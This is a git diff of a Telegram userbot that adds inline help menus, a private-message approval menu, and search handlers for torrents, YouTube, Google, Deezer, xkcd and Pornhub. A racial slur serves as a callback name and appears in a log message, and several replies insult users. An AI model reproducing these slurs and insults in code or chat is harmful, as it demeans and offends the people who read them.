cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") + text2 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." + await borg.send_message(event.query.user_id, text2) + await borg.send_message( + LOG_CHAT, + message=f"Hello, [අලුත් පොරක්](tg://user?id={him_id}). ඔයා එක්ක කතා කරන්න ඉල්ලනවා.", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "මහත්තයෝ, ඔයා මේක පාවිච්චි කරන්න ඕන නෑ" + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") + text3 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." + await borg.send_message(event.query.user_id, text3) + await borg.send_message( + LOG_CHAT, + message=f"Hello, [අලුත් පොරකට](tg://user?id={him_id}). ඔයාගෙන් දෙයක් ඉල්ලන්න තියේලු.", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + await event.edit("menu closed") + else: + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + def paginate_help(page_number, loaded_modules, prefix): + number_of_rows = 8 + number_of_cols = 2 + helpable_modules = [] + for p in loaded_modules: + if not p.startswith("_"): + helpable_modules.append(p) + helpable_modules = sorted(helpable_modules) + modules = [ + custom.Button.inline( + "{} {} {}".format( + Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP + ), + data="us_plugin_{}".format(x), + ) + for x in helpable_modules + ] + pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) + if len(modules) % number_of_cols == 1: + pairs.append((modules[-1],)) + max_num_pages = ceil(len(pairs) / number_of_rows) + modulo_page = page_number % max_num_pages + if len(pairs) > number_of_rows: + pairs = pairs[ + modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) + ] + [ + ( + custom.Button.inline( + "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) + ), + custom.Button.inline("Close", data="close"), + custom.Button.inline( + "Next ⏩", data="{}_next({})".format(prefix, modulo_page) + ), + ) + ] + return pairs + + +else: + + @tgbot.on(events.InlineQuery) + async def inline_handler(event): + builder = event.builder + result = None + query = event.text + if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): + rev_text = query[::-1] + buttons = paginate_help(0, CMD_HELP, "helpme") + result = builder.article( + "© Userbot Help", + text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), + buttons=buttons, + link_preview=False, + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query == "stats": + result = builder.article( + title="Stats", + text=f"**Showing Stats For {DEFAULTUSER}'s VirualUserbot** \nNote --> Only Owner Can Check This \n(C) @VirtualUserbot", + buttons=[ + [custom.Button.inline("Show Stats ?", data="terminator")], + [ + Button.url( + "Repo Here", "https://github.com/inukaasith/virtualuserbot" + ) + ], + [Button.url("Join Channel ❤️", "t.me/infinity_bots")], + ], + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query.startswith("**Hello"): + result = builder.photo( + file=WARN_PIC, + text=query, + buttons=[ + [custom.Button.inline("Spamming", data="dontspamnigga")], + [ + custom.Button.inline( + "Casual Talk", + data="whattalk", + ) + ], + [custom.Button.inline("Requesting", data="askme")], + ], + ) + await event.answer([result]) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_next\((.+?)\)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_popp_up_alert = "Please get your own Userbot, and don't use mine!" + await event.answer(reply_popp_up_alert, cache_time=0, alert=True) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_prev\((.+?)\)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: # pylint:disable=E0602 + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help( + current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 + ) + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_pop_up_alert = "Please get your own Userbot, and don't use mine!" + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"us_plugin_(.*)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if not event.query.user_id == bot.uid: + sedok = "Who The Fuck Are You? Get Your Own VirtualUserbot ." + await event.answer(sedok, cache_time=0, alert=True) + return + plugin_name = event.data_match.group(1).decode("UTF-8") + if plugin_name in CMD_HELP: + help_string = ( + f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + ) + reply_pop_up_alert = help_string + reply_pop_up_alert += "\n\n**(C) @VirtualUserbot** ".format(plugin_name) + if len(reply_pop_up_alert) >= 4096: + crackexy = "`Pasting Your Help Menu.`" + await event.answer(crackexy, cache_time=0, alert=True) + out_file = reply_pop_up_alert + url = "https://del.dog/documents" + r = requests.post(url, data=out_file.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + await event.edit( + f"Pasted {plugin_name} to {url}", + link_preview=False, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + else: + await event.edit( + message=reply_pop_up_alert, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) + async def rip(event): + if event.query.user_id == bot.uid: + text = inlinestats + await event.answer(text, alert=True) + else: + txt = "You Can't View My Masters Stats" + await event.answer(txt, alert=True) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = True + await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) + async def rip(event): + sun = event.data_match.group(1).decode("UTF-8") + + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + await _deezer_dl(sun, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = False + await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) + async def rip(event): + link_s = event.pattern_match.group(1) + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." + await event.answer(text, alert=True) + return + await _phdl(link_s, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + text1 = "You Have Chosed A Probhited Option. Therefore, You Have Been Blocked" + await event.edit("Choice Not Accepted ❌") + await borg.send_message(event.query.user_id, text1) + await borg(functions.contacts.BlockRequest(event.query.user_id)) + await borg.send_message( + LOG_CHAT, + f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked.", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) + async def sed(event): + if event.query.user_id != bot.uid: + sedok = "Who The Fuck Are You? Get Your Own bot." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.answer("Back", cache_time=0, alert=False) + # This Is Copy of Above Code. (C) @SpEcHiDe + buttons = paginate_help(0, CMD_HELP, "helpme") + sed = f"""VirtualUserbot Userbot Modules Are Listed Here !\n + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - English (Standard)""" + await event.edit(message=sed, buttons=buttons) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("Your Choice Accepted ✔️") + text2 = "Ok. Please Wait Until My Master will Approve you soon. Don't Spam Here Or Try Anything Stupid. \nThank You For Contacting Me." + await borg.send_message(event.query.user_id, text2) + await borg.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + await event.edit("CYour hoice is Accepted ✔️") + text3 = "Ok, Wait. My Master will reply you soon. Kindly, Wait." + await borg.send_message(event.query.user_id, text3) + await borg.send_message( + LOG_CHAT, + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + await event.edit("menu closed") + else: + reply_pop_up_alert = "WTF are you Doing.. " + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + def paginate_help(page_number, loaded_modules, prefix): + number_of_rows = 8 + number_of_cols = 2 + helpable_modules = [] + for p in loaded_modules: + if not p.startswith("_"): + helpable_modules.append(p) + helpable_modules = sorted(helpable_modules) + modules = [ + custom.Button.inline( + "{} {} {}".format( + Config.EMOJI_TO_DISPLAY_IN_HELP, x, Config.EMOJI_TO_DISPLAY_IN_HELP + ), + data="us_plugin_{}".format(x), + ) + for x in helpable_modules + ] + pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) + if len(modules) % number_of_cols == 1: + pairs.append((modules[-1],)) + max_num_pages = ceil(len(pairs) / number_of_rows) + modulo_page = page_number % max_num_pages + if len(pairs) > number_of_rows: + pairs = pairs[ + modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) + ] + [ + ( + custom.Button.inline( + "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) + ), + custom.Button.inline("Close", data="close"), + custom.Button.inline( + "Next ⏩", data="{}_next({})".format(prefix, modulo_page) + ), + ) + ] + return pairs + + +@tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualUserbot)", + ) + await event.answer([resultm]) + return + testinput = event.pattern_match.group(1) + starkisnub = urllib.parse.quote_plus(testinput) + results = [] + sedlyf = "https://api.sumanjay.cf/torrent/?query=" + starkisnub + try: + okpro = requests.get(url=sedlyf, timeout=10).json() + except: + pass + sed = len(okpro) + if sed == 0: + resultm = builder.article( + title="No Results Found.", + description="Check Your Spelling / Keyword", + text="**Please, Search Again With Correct Keyword, Thank you !**", + buttons=[ + [ + Button.switch_inline( + "Search Again", query="torrent ", same_peer=True + ) + ], + ], + ) + await event.answer([resultm]) + return + if sed > 30: + for i in range(30): + seds = okpro[i]["age"] + okpros = okpro[i]["leecher"] + sadstark = okpro[i]["magnet"] + okiknow = okpro[i]["name"] + starksize = okpro[i]["size"] + starky = okpro[i]["type"] + seeders = okpro[i]["seeder"] + okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " + sedme = f"Size : {starksize} Type : {starky} Age : {seds}" + results.append( + await event.builder.article( + title=okiknow, + description=sedme, + text=okayz, + buttons=Button.switch_inline( + "Search Again", query="torrent ", same_peer=True + ), + ) + ) + else: + for sedz in okpro: + seds = sedz["age"] + okpros = sedz["leecher"] + sadstark = sedz["magnet"] + okiknow = sedz["name"] + starksize = sedz["size"] + starky = sedz["type"] + seeders = sedz["seeder"] + okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " + sedme = f"Size : {starksize} Type : {starky} Age : {seds}" + results.append( + await event.builder.article( + title=okiknow, + description=sedme, + text=okayz, + buttons=[ + Button.switch_inline( + "Search Again", query="torrent ", same_peer=True + ) + ], + ) + ) + await event.answer(results) + + +@tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + testinput = event.pattern_match.group(1) + urllib.parse.quote_plus(testinput) + results = [] + moi = YoutubeSearch(testinput, max_results=9).to_dict() + if not moi: + resultm = builder.article( + title="No Results Found.", + description="Check Your Spelling / Keyword", + text="**Please, Search Again With Correct Keyword, Thank you !**", + buttons=[ + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ], + ) + await event.answer([resultm]) + return + for moon in moi: + hmm = moon["id"] + mo = f"https://www.youtube.com/watch?v={hmm}" + kek = f"https://www.youtube.com/watch?v={hmm}" + stark_name = moon["title"] + stark_chnnl = moon["channel"] + total_stark = moon["duration"] + stark_views = moon["views"] + moon["long_desc"] + kekme = f"https://img.youtube.com/vi/{hmm}/hqdefault.jpg" + okayz = f"**Title :** `{stark_name}` \n**Link :** `{kek}` \n**Channel :** `{stark_chnnl}` \n**Views :** `{stark_views}` \n**Duration :** `{total_stark}`" + hmmkek = f"Video Name : {stark_name} \nChannel : {stark_chnnl} \nDuration : {total_stark} \nViews : {stark_views}" + results.append( + await event.builder.document( + file=kekme, + title=stark_name, + description=hmmkek, + text=okayz, + include_media=True, + buttons=[ + [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], + [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ], + ) + ) + await event.answer(results) + + +@tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + testinput = event.pattern_match.group(1) + starkisnub = urllib.parse.quote_plus(testinput) + results = [] + search = f"http://starkmusic.herokuapp.com/result/?query={starkisnub}" + seds = requests.get(url=search).json() + for okz in seds: + okz["album"] + okmusic = okz["music"] + hmmstar = okz["perma_url"] + singer = okz["singers"] + hmm = okz["duration"] + langs = okz["language"] + hidden_url = okz["media_url"] + okayz = ( + f"**Song Name :** `{okmusic}` \n**Singer :** `{singer}` \n**Song Url :** `{hmmstar}`" + f"\n**Language :** `{langs}` \n**Download Able Url :** `{hidden_url}`" + f"\n**Duration :** `{hmm}`" + ) + hmmkek = ( + f"Song : {okmusic} Singer : {singer} Duration : {hmm} \nLanguage : {langs}" + ) + results.append( + await event.builder.article( + title=okmusic, + description=hmmkek, + text=okayz, + buttons=Button.switch_inline( + "Search Again", query="jm ", same_peer=True + ), + ) + ) + await event.answer(results) + + +@tgbot.on(events.InlineQuery(pattern=r"google (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy virtualuserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + results = [] + match = event.pattern_match.group(1) + page = findall(r"page=\d+", match) + try: + page = page[0] + page = page.replace("page=", "") + match = match.replace("page=" + page[0], "") + except IndexError: + page = 1 + + search_args = (str(match), int(page)) + gsearch = GoogleSearch() + gresults = await gsearch.async_search(*search_args) + for i in range(len(gresults["links"])): + try: + title = gresults["titles"][i] + link = gresults["links"][i] + desc = gresults["descriptions"][i] + okiknow = f"**GOOGLE - SEARCH** \n[{title}]({link})\n\n`{desc}`" + results.append( + await event.builder.article( + title=title, + description=desc, + text=okiknow, + buttons=[ + Button.switch_inline( + "Search Again", query="google ", same_peer=True + ) + ], + ) + ) + except IndexError: + break + await event.answer(results) + + +@tgbot.on(events.InlineQuery(pattern=r"ph (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + results = [] + input_str = event.pattern_match.group(1) + api = PornhubApi() + data = api.search.search(input_str, ordering="mostviewed") + ok = 1 + for vid in data.videos: + if ok <= 5: + lul_m = f"**PORN-HUB SEARCH** \n**Video title :** `{vid.title}` \n**Video link :** `https://www.pornhub.com/view_video.php?viewkey={vid.video_id}`" + results.append( + await event.builder.article( + title=vid.title, + text=lul_m, + buttons=[ + Button.switch_inline( + "Search Again", query="ph ", same_peer=True + ) + ], + ) + ) + else: + pass + await event.answer(results) + + +@tgbot.on(events.InlineQuery(pattern=r"xkcd (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", + ) + await event.answer([resultm]) + return + input_str = event.pattern_match.group(1) + xkcd_id = None + if input_str: + if input_str.isdigit(): + xkcd_id = input_str + else: + xkcd_search_url = "https://relevantxkcd.appspot.com/process?" + queryresult = requests.get( + xkcd_search_url, params={"action": "xkcd", "query": quote(input_str)} + ).text + xkcd_id = queryresult.split(" ")[2].lstrip("\n") + if xkcd_id is None: + xkcd_url = "https://xkcd.com/info.0.json" + else: + xkcd_url = "https://xkcd.com/{}/info.0.json".format(xkcd_id) + r = requests.get(xkcd_url) + if r.ok: + data = r.json() + year = data.get("year") + month = data["month"].zfill(2) + day = data["day"].zfill(2) + xkcd_link = "https://xkcd.com/{}".format(data.get("num")) + safe_title = data.get("safe_title") + data.get("transcript") + alt = data.get("alt") + img = data.get("img") + data.get("title") + output_str = """ +[XKCD]({}) +Title: {} +Alt: {} +Day: {} +Month: {} +Year: {}""".format( + xkcd_link, safe_title, alt, day, month, year + ) + lul_k = builder.photo(file=img, text=output_str) + await event.answer([lul_k]) + else: + resultm = builder.article(title="- No Results :/ -", text=f"No Results Found !") + await event.answer([resultm]) + + +@tgbot.on(events.InlineQuery(pattern=r"deezer ?(.*)")) +async def inline_id_handler(event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy Friday To Get Your Own Assistant, Repo Link [Here](https://github.com/StarkGang/FridayUserbot)", + ) + await event.answer([resultm]) + return + results = [] + input_str = event.pattern_match.group(1) + link = f"https://api.deezer.com/search?q={input_str}&limit=7" + dato = requests.get(url=link).json() + # data_s = json.loads(data_s) + for match in dato.get("data"): + match.get("link") + hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" + results.append( + await event.builder.document( + file=match["album"]["cover_medium"], + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + buttons=[ + [ + custom.Button.inline( + "Download Audio - mp3", data=f"deezer_dl_{match['title']}" + ) + ], + [ + Button.switch_inline( + "Search Again", query="deezer ", same_peer=True + ) + ], + ], + ), + ) + if results: + try: + await event.answer(results) + except TypeError: + pass diff --git a/fridaybot/modules/add.py b/virtualuserbot/modules/add.py similarity index 92% rename from fridaybot/modules/add.py rename to virtualuserbot/modules/add.py index f76a29a0..a4cb3d22 100644 --- a/fridaybot/modules/add.py +++ b/virtualuserbot/modules/add.py @@ -3,15 +3,15 @@ from telethon import functions -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd """Invite the user(s) to the current chat Syntax: .invite """ from telethon import functions -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="invite ?(.*)")) diff --git a/virtualuserbot/modules/addnote.py b/virtualuserbot/modules/addnote.py new file mode 100644 index 00000000..ec9e1530 --- /dev/null +++ b/virtualuserbot/modules/addnote.py @@ -0,0 +1,10 @@ +from telethon import events + + +@borg.on(events.NewMessage(pattern=r"^.addnote (.*)", outgoing=True)) +async def test(event): + if event.fwd_from: + return + uwu = event.pattern_match.group(1) + await event.edit("Added note to Evernote".format(uwu)) + await borg.send_message("@ifttt", "#note {}".format(uwu)) diff --git a/fridaybot/modules/admin.py b/virtualuserbot/modules/admin.py similarity index 89% rename from fridaybot/modules/admin.py rename to virtualuserbot/modules/admin.py index a2bed860..73cb40fd 100644 --- a/fridaybot/modules/admin.py +++ b/virtualuserbot/modules/admin.py @@ -31,8 +31,8 @@ MessageMediaPhoto, ) -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.utils import admin_cmd, errors_handler # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" @@ -84,7 +84,7 @@ @borg.on(admin_cmd(pattern=r"setgpic")) @errors_handler async def set_group_photo(gpic): - """ For .setgpic command, changes the picture of a group """ + """For .setgpic command, changes the picture of a group""" if not gpic.is_group: await gpic.edit("`I don't think this is a group.`") return @@ -123,7 +123,7 @@ async def set_group_photo(gpic): @borg.on(admin_cmd(pattern=r"promote(?: |$)(.*)")) @errors_handler async def promote(promt): - """ For .promote command, promotes the replied/tagged person """ + """For .promote command, promotes the replied/tagged person""" # Get targeted chat chat = await promt.get_chat() # Grab admin status or creator in a chat @@ -156,14 +156,15 @@ async def promote(promt): # Try to promote if current user is admin or creator try: await promt.client(EditAdminRequest(promt.chat_id, user.id, new_rights, rank)) - await promt.edit("`Promoted Successfully! Now gib Party`") + await promt.edit( + f"Sucessfully, Promoted [{user.first_name}](tg://user?id={user.id}) in {promt.chat.title}" + ) # If Telethon spit BadRequestError, assume # we don't have Promote permission except BadRequestError: await promt.edit(NO_PERM) return - # Announce to the logging group if we have promoted successfully if BOTLOG: await promt.client.send_message( @@ -178,7 +179,7 @@ async def promote(promt): @borg.on(admin_cmd(pattern=r"demote(?: |$)(.*)")) @errors_handler async def demote(dmod): - """ For .demote command, demotes the replied/tagged person """ + """For .demote command, demotes the replied/tagged person""" # Admin right check chat = await dmod.get_chat() admin = chat.admin_rights @@ -197,7 +198,6 @@ async def demote(dmod): pass else: return - # New rights after demotion newrights = ChatAdminRights( add_admins=None, @@ -216,7 +216,9 @@ async def demote(dmod): except BadRequestError: await dmod.edit(NO_PERM) return - await dmod.edit("`Demoted this retard Successfully!`") + await dmod.edit( + f"Demoted, [{user.first_name}](tg://user?id={user.id}) in {dmod.chat.title} Sucessfully!" + ) # Announce to the logging group if we have demoted successfully if BOTLOG: @@ -232,7 +234,7 @@ async def demote(dmod): @borg.on(admin_cmd(pattern=r"ban(?: |$)(.*)")) @errors_handler async def ban(bon): - """ For .ban command, bans the replied/tagged person """ + """For .ban command, bans the replied/tagged person""" # Here laying the sanity check chat = await bon.get_chat() admin = chat.admin_rights @@ -250,7 +252,7 @@ async def ban(bon): return # Announce that we're going to whack the pest - await bon.edit("`Whacking the pest!`") + await bon.edit("`Dusting Dust of ban Hammer`") try: await bon.client(EditBannedRequest(bon.chat_id, user.id, BANNED_RIGHTS)) @@ -269,9 +271,13 @@ async def ban(bon): # is done gracefully # Shout out the ID, so that fedadmins can fban later if reason: - await bon.edit(f"Loser `{str(user.id)}` was banned !!\nReason: {reason}") + await bon.edit( + f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title} For Reason: {reason}" + ) else: - await bon.edit(f"Bitch `{str(user.id)}` was banned !!") + await bon.edit( + f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title}" + ) # Announce to the logging group if we have banned the person # successfully! if BOTLOG: @@ -287,7 +293,7 @@ async def ban(bon): @borg.on(admin_cmd(pattern=r"unban(?: |$)(.*)")) @errors_handler async def nothanos(unbon): - """ For .unban command, unbans the replied/tagged person """ + """For .unban command, unbans the replied/tagged person""" # Here laying the sanity check chat = await unbon.get_chat() admin = chat.admin_rights @@ -310,7 +316,9 @@ async def nothanos(unbon): try: await unbon.client(EditBannedRequest(unbon.chat_id, user.id, UNBAN_RIGHTS)) - await unbon.edit("```Unbanned Successfully. Granting another chance.```") + await unbon.edit( + f"Sucessfully, UnBanned, [{user.first_name}](tg://user?id={user.id}) in {unbon.chat.title}" + ) if BOTLOG: await unbon.client.send_message( @@ -388,7 +396,7 @@ async def spider(spdr): @borg.on(admin_cmd(pattern=r"unmute(?: |$)(.*)")) @errors_handler async def unmoot(unmot): - """ For .unmute command, unmute the replied/tagged person """ + """For .unmute command, unmute the replied/tagged person""" # Admin or creator check chat = await unmot.get_chat() admin = chat.admin_rights @@ -435,84 +443,11 @@ async def unmoot(unmot): ) -@borg.on(admin_cmd(pattern=r"delusers(?: |$)(.*)")) -@errors_handler -async def rm_deletedacc(show): - """ For .delusers command, list all the ghost/deleted accounts in a chat. """ - if not show.is_group: - await show.edit("`I don't think this is a group.`") - return - con = show.pattern_match.group(1) - del_u = 0 - del_status = "`No deleted accounts found, Group is cleaned as Hell`" - - if con != "clean": - await show.edit("`Searching for zombie accounts...`") - async for user in show.client.iter_participants(show.chat_id, aggressive=True): - if user.deleted: - del_u += 1 - await sleep(1) - if del_u > 0: - del_status = f"Found **{del_u}** deleted account(s) in this group,\ - \nclean them by using .delusers clean" - - await show.edit(del_status) - return - - # Here laying the sanity check - chat = await show.get_chat() - admin = chat.admin_rights - creator = chat.creator - - # Well - if not admin and not creator: - await show.edit("`I am not an admin here!`") - return - - await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`") - del_u = 0 - del_a = 0 - - async for user in show.client.iter_participants(show.chat_id): - if user.deleted: - try: - await show.client( - EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS) - ) - except ChatAdminRequiredError: - await show.edit("`I don't have ban rights in this group`") - return - except UserAdminInvalidError: - del_u -= 1 - del_a += 1 - await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS)) - del_u += 1 - - if del_u > 0: - del_status = f"Cleaned **{del_u}** deleted account(s)" - - if del_a > 0: - del_status = f"Cleaned **{del_u}** deleted account(s) \ - \n**{del_a}** deleted admin accounts are not removed" - - await show.edit(del_status) - await sleep(2) - await show.delete() - - if BOTLOG: - await show.client.send_message( - BOTLOG_CHATID, - "#CLEANUP\n" - f"Cleaned **{del_u}** deleted account(s) !!\ - \nCHAT: {show.chat.title}(`{show.chat_id}`)", - ) - - # @register(outgoing=True, pattern="^.adminlist$") @borg.on(admin_cmd(pattern=r"adminlist")) @errors_handler async def get_admin(show): - """ For .admins command, list all of the admins of the chat. """ + """For .admins command, list all of the admins of the chat.""" info = await show.client.get_entity(show.chat_id) title = info.title if info.title else "this chat" mentions = f"Admins in {title}: \n" @@ -535,7 +470,7 @@ async def get_admin(show): @borg.on(admin_cmd(pattern=r"pin(?: |$)(.*)")) @errors_handler async def pin(msg): - """ For .pin command, pins the replied/tagged message on the top the chat. """ + """For .pin command, pins the replied/tagged message on the top the chat.""" # Admin or creator check chat = await msg.get_chat() admin = chat.admin_rights @@ -565,9 +500,10 @@ async def pin(msg): await msg.edit(NO_PERM) return - await msg.edit("`Pinned Successfully!`") - - user = await get_user_from_id(msg.from_id, msg) + await msg.edit( + f"I Have Pinned This [Message](http://t.me/c/{msg.chat_id}/{to_pin})" + ) + user = await get_user_sender_id(msg.sender_id, msg) if BOTLOG: await msg.client.send_message( @@ -583,7 +519,7 @@ async def pin(msg): @borg.on(admin_cmd(pattern=r"kick(?: |$)(.*)")) @errors_handler async def kick(usr): - """ For .kick command, kicks the replied/tagged person from the group. """ + """For .kick command, kicks 